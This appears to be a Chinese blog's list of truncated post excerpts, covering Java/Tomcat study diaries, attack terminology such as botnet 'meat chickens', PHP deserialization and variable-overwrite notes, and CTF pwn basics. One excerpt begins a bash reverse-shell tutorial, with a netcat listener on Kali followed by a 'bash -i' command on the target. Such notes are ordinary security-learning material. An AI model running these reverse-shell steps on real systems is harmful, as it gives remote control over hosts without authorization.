Day4上午简单的弄了一下tomcat的环境，（因为昨天没弄）然后老师在讲的时候很多地方都是直接用快捷键，一下多出一大串的东西，太快了，跟不上了，然后就学会了如何使用万能键（ALT+‘Inser...

Day3JDBC_Test.javapackage Day3; import com.mysql.jdbc.Connection; import com.mysql.jdbc.Driver; ...

Day2/* * 一，概念 * 面向对象是一种设计思想 * * 面向对象：不需要执行者亲力亲为，只需要将不同的任务分配给不同的对象进行完成即可。 * 面向过程：所有的事情都需要执行者亲力亲...

Day1eg1：猜数字游戏package test; import com.company.Main; import jdk.net.NetworkPermission; import ja...

一、攻击篇1．攻击工具肉鸡所谓“肉鸡”是一种很形象的比喻，比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像头、路由器等智能设备，用于发动网络攻击。 例如在2016年美国东海岸断网事件中，...

一、bash反弹通用① 在kali机里面开启端口监听：nc -lvvp port //port 为攻击主机端口号，并且此端口号没有被占用 ② 在目标主机上执行： bash -i &...

刷题刷到反序列化了，完全一脸懵逼，请求Firebasky小姐姐给我讲讲，好家伙，姐姐给我推荐了php反序列化的官方文档，给我讲的也很详细，其中一句话让我顿悟了，有点醍醐灌顶的感觉，先记录记录，能...

1.发生的条件函数使用不当（$$、extract()、parse_str()、import_request_variables()等）开启全局变量2.1定义$$代表可变变量，就是说，一个变量的变...

Rech程序架构信息，判断是64位还是32位，exp编写的时候是p64还是p32RELRORelocation Read-Onl（RELRO）此项技术主要针对GOT改写的攻击方式，它分成两种，P...

CTF-PWN堆栈利用技巧